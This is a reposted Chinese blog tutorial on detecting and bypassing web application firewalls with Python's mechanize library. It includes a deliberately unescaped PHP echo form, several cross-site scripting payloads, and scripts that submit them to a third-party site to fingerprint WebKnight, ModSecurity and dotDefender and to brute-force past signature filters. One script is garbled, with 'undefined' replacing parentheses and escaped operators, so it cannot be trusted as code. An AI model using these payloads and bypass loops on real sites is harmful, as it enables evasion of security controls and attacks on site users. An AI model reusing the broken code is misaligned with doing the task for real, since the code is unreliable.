使用Python检测并绕过Web应用程序防火墙

本文涉及的产品
Web应用防火墙 3.0,每月20元额度 3个月
云防火墙,500元 1000GB
简介: 版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396273 参考文章:click hereWeb应用程序防火墙用来过滤恶意流量。
版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396273

参考文章:click here

Web应用程序防火墙用来过滤恶意流量。

基于签名的防火墙

在基于签名的防火墙中,定义了签名,因为网络攻击也遵循类似的模式或签名。所以我们可以定义匹配模式并阻止它们。

Payload :- <svg><script>alert`1`<p>

上面定义的有效载荷是一种跨站点脚本攻击,这些攻击都可以包含以下子串 - >“<script>”,我们可以定义如下定义的2-3个签名:

1、<script>
2、alert(*)

第一个签名将阻止包含<script>子串的任何请求。
第二个将阻止警报(任何文本)。那么这就是基于签名的防火墙的工作原理。

怎么知道有防火墙?

开始攻击以前,先测试是否有防火墙。

这段消息告诉我们,防火墙阻碍了我们的攻击。

HTTP/1.1 406 Not Acceptable
Date: Mon, 10 Jan 2016
Server: nginx
Content-Type: text/html; charset=iso-8859-1
Not Acceptable!Not Acceptable! An appropriate representation of the
requested resource could not be found on this server. This error was generated by <strong>Mod_Security</strong>.

下面,尝试用python脚本检测防火墙,并且绕过它。
1、定义HTML文档和PHP脚本
定义我们的HTML文档来注入有效载荷和相应的PHP脚本来处理数据。
我们下面定义了这两个。
将使用以下HTML文档:

<html>
<body>
<form name="waf" action="waf.php" method="post">
Data: <input type="text" name="data"><br>
<input type="submit" value="Submit">
</form>
</body>
</html>

waf.php:

<html>
<body>
Data from the form : <?php echo $_POST["data"]; ?><br>
</body>
</html>

2、准备恶意请求
检测防火墙存在的第二步是创建一个可以被防火墙阻止的恶意跨站脚本请求。 我们将使用一个名为“Mechanize”的python模块,了解更多关于此模块的信息click here

import mechanize as mec
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
maliciousRequest.select_form(formName)

3、准备有效载荷
在HTML文档中,我们使用以下代码指定了一个输入字段:

input type =“text”name =“data”> <br>

您可以看到该字段的名称是“data”,我们可以使用以下代码来定义此字段的输入:

crossSiteScriptingPayLoad = "<svg><script>alert&grave;1&grave;<p>"
maliciousRequest.form['data'] = crossSiteScriptingPayLoad

第一行将我们的有效载荷保存在一个变量中
第二行,我们已将我们的有效内容分配给表单字段“data”。 我们现在可以安全地提交此表格并检查答复。
4、提交表单并记录回复

maliciousRequest.submit()
response =  maliciousRequest.response().read()
print response

提交表单
将响应保存在变量中
打印响应
没有安装防火墙得到如下响应:

5、检测防火墙的存在
名为“response”的变量包含从服务器获得的响应,我们可以使用响应来检测防火墙的存在。 我们将尝试在本教程中检测到以下防火墙的存在。WebKnight
mod_security
Dot Defender
python代码:

if response.find('WebKnight') >= 0:
       print "Firewall detected: WebKnight"
elif response.find('Mod_Security') >= 0:
      print "Firewall detected: Mod Security"
elif response.find('Mod_Security') >= 0:
      print "Firewall detected: Mod Security"
elif response.find('dotDefender') >= 0:
      print "Firewall detected: Dot Defender"
else:
      print "No Firewall Present"

如果安装了Web Knight防火墙,并且我们的请求被阻止,响应字符串将在其中包含“WebKnight”,那么find函数将返回大于0的值,这意味着WebKnight防火墙存在。 同样,我们也可以检查其他2个防火墙。 我们可以扩展这个小应用程序来检测多少个防火墙,但您必须知道响应行为。

使用强力来绕过防火墙过滤器

开头提到,大多数防火墙基于签名阻止请求。 但可以使用数千种方式构建有效载荷。 Java脚本复杂,我们可以列出有效负载,并尝试其中的每一个,记录每个响应并检查是否能够绕过防火墙。 请注意,如果防火墙规则被明确定义,这种方法可能无法正常工作。 让我们看看我们如何使用python来硬肛:

listofPayloads = ['&lt;dialog open="" onclose="alertundefined1)"&gt;&lt;form method="dialog"&gt;&lt;button&gt;Close me!&lt;/button&gt;&lt;/form&gt;&lt;/dialog&gt;','&lt;svg&gt;&lt;script&gt;prompt&amp;#40 1&amp;#41&lt;i&gt;','&lt;a href="&amp;#1;javascript:alertundefined1)"&gt;CLICK ME&lt;a&gt;'
]
for payLoads in listofPayloads:    
maliciousRequest = mec.Browserundefined)
formName = 'waf'    
maliciousRequest.openundefined(http://check.cyberpersons.com/crossSiteCheck.html)")
maliciousRequest.select_formundefinedformName)
maliciousRequest.form['data'] = payLoads
maliciousRequest.submitundefined)
response = maliciousRequest.responseundefined).readundefined)
if response.findundefined 'WebKnight' ) &gt; = 0:        
print "Firewall detected: WebKnight"    
elif 
response.findundefined 'Mod_Security') &gt; = 0:        
print "Firewall detected: Mod Security"
elif
response.findundefined 'Mod_Security' ) &gt; = 0 :        
print "Firewall detected: Mod Security"
elif
response.findundefined 'dotDefender' ) &gt; = 0 :        
print "Firewall detected: Dot Defender"    
else:       
print "No Firewall Present"

在第一行,我们定义了3个有效载荷的列表,您可以扩展此列表,并根据需要添加多个有效载荷
然后在for循环中,我们做了与上面所做的相同的过程,但这次是列表中的每个有效载荷
在收到响应后,我们再次比较看看防火墙是否存在。
没有防火墙的输出:

将HTML标签转换为Unicode或Hex实体

如果例如防火墙正在过滤html标签,如<,>。 我们可以发送相应的Unicode或Hex实体,看看它们是否被转换为原始格式,如果是这样,那么这也可能是一个入口点。 以下代码可用于检查此过程:

listofPayloads = ['&lt;b&gt;','\u003cb\u003e','\x3cb\x3e']
for payLoads in listofPayloads:
     maliciousRequest = mec.Browser()
     formName = 'waf'
   maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
     maliciousRequest.select_form(formName)
     maliciousRequest.form['data'] = payLoads
     maliciousRequest.submit()
     response = maliciousRequest.response().read()
     print "---------------------------------------------------"
     print response
     print "---------------------------------------------------"

每次我们将发送编码的条目,并在响应中我们将检查是否转换或打印回没有转换,当我运行这个代码我得到这个输出


表示没有编码的条目被转换为其原始格式

上面代码好零碎,完整代码打包下载:click here

相关文章
|
6天前
|
前端开发 JavaScript 安全
深入理解Python Web开发中的前后端分离与WebSocket实时通信技术
在现代Web开发中,前后端分离已成为主流架构,通过解耦前端(用户界面)与后端(服务逻辑),提升了开发效率和团队协作。前端使用Vue.js、React等框架与后端通过HTTP/HTTPS通信,而WebSocket则实现了低延迟的全双工实时通信。本文结合Python框架如Flask和Django,探讨了前后端分离与WebSocket的最佳实践,包括明确接口规范、安全性考虑、性能优化及错误处理等方面,助力构建高效、实时且安全的Web应用。
19 2
|
6天前
|
前端开发 Python
前后端分离的进化:Python Web项目中的WebSocket实时通信解决方案
在现代Web开发领域,前后端分离已成为一种主流架构模式,它促进了开发效率、提升了应用的可维护性和可扩展性。随着实时数据交互需求的日益增长,WebSocket作为一种在单个长连接上进行全双工通讯的协议,成为了实现前后端实时通信的理想选择。在Python Web项目中,结合Flask框架与Flask-SocketIO库,我们可以轻松实现WebSocket的实时通信功能。
17 2
|
7天前
|
JavaScript 前端开发 UED
WebSocket在Python Web开发中的革新应用:解锁实时通信的新可能
在快速发展的Web应用领域中,实时通信已成为许多现代应用不可或缺的功能。传统的HTTP请求/响应模式在处理实时数据时显得力不从心,而WebSocket技术的出现,为Python Web开发带来了革命性的变化,它允许服务器与客户端之间建立持久的连接,从而实现了数据的即时传输与交换。本文将通过问题解答的形式,深入探讨WebSocket在Python Web开发中的革新应用及其实现方法。
19 3
|
7天前
|
前端开发 开发者 Python
从零到一:Python Web框架中的模板引擎入门与进阶
在Web开发的广阔世界里,模板引擎是连接后端逻辑与前端展示的重要桥梁。对于Python Web开发者而言,掌握模板引擎的使用是从零到一构建动态网站或应用不可或缺的一步。本文将带你从基础入门到进阶应用,深入了解Python Web框架中的模板引擎。
13 3
|
6天前
|
数据库 开发者 Python
实战指南:用Python协程与异步函数优化高性能Web应用
在快速发展的Web开发领域,高性能与高效响应是衡量应用质量的重要标准。随着Python在Web开发中的广泛应用,如何利用Python的协程(Coroutine)与异步函数(Async Functions)特性来优化Web应用的性能,成为了许多开发者关注的焦点。本文将从实战角度出发,通过具体案例展示如何运用这些技术来提升Web应用的响应速度和吞吐量。
12 1
|
9天前
|
存储 JSON API
实战派教程!Python Web开发中RESTful API的设计哲学与实现技巧,一网打尽!
在数字化时代,Web API成为连接前后端及构建复杂应用的关键。RESTful API因简洁直观而广受欢迎。本文通过实战案例,介绍Python Web开发中的RESTful API设计哲学与技巧,包括使用Flask框架构建一个图书管理系统的API,涵盖资源定义、请求响应设计及实现示例。通过准确使用HTTP状态码、版本控制、错误处理及文档化等技巧,帮助你深入理解RESTful API的设计与实现。希望本文能助力你的API设计之旅。
31 3
|
8天前
|
缓存 中间件 网络架构
Python Web开发实战:高效利用路由与中间件提升应用性能
在Python Web开发中,路由和中间件是构建高效、可扩展应用的核心组件。路由通过装饰器如`@app.route()`将HTTP请求映射到处理函数;中间件则在请求处理流程中插入自定义逻辑,如日志记录和验证。合理设计路由和中间件能显著提升应用性能和可维护性。本文以Flask为例,详细介绍如何优化路由、避免冲突、使用蓝图管理大型应用,并通过中间件实现缓存、请求验证及异常处理等功能,帮助你构建快速且健壮的Web应用。
10 1
|
8天前
|
开发框架 JSON 缓存
震撼发布!Python Web开发框架下的RESTful API设计全攻略,让数据交互更自由!
在数字化浪潮推动下,RESTful API成为Web开发中不可或缺的部分。本文详细介绍了在Python环境下如何设计并实现高效、可扩展的RESTful API,涵盖框架选择、资源定义、HTTP方法应用及响应格式设计等内容,并提供了基于Flask的示例代码。此外,还讨论了版本控制、文档化、安全性和性能优化等最佳实践,帮助开发者实现更流畅的数据交互体验。
25 1
|
9天前
|
前端开发 API Python
WebSocket技术详解:如何在Python Web应用中实现无缝实时通信
在Web开发的广阔领域中,实时通信已成为许多应用的核心需求。传统的HTTP请求-响应模型在实时性方面存在明显不足,而WebSocket作为一种在单个长连接上进行全双工通信的协议,为Web应用的实时通信提供了强有力的支持。本文将深入探讨WebSocket技术,并通过一个Python Web应用的案例分析,展示如何在Python中利用WebSocket实现无缝实时通信。
16 2
|
8天前
|
API 网络架构 开发者
探索Python Web框架的核心:路由机制详解
在Python Web开发中,路由机制是框架核心之一,负责将URL请求映射到处理函数。本文通过Flask和Django两个流行框架深入探讨路由机制。Flask使用`@app.route()`装饰器绑定URL与视图函数;Django则通过`urls.py`文件配置URL模式。两者均支持静态和动态路由,并可与HTTP方法结合,实现RESTful API。路由机制的灵活性使得开发者能够设计简洁高效的Web应用。
17 0
下一篇
无影云桌面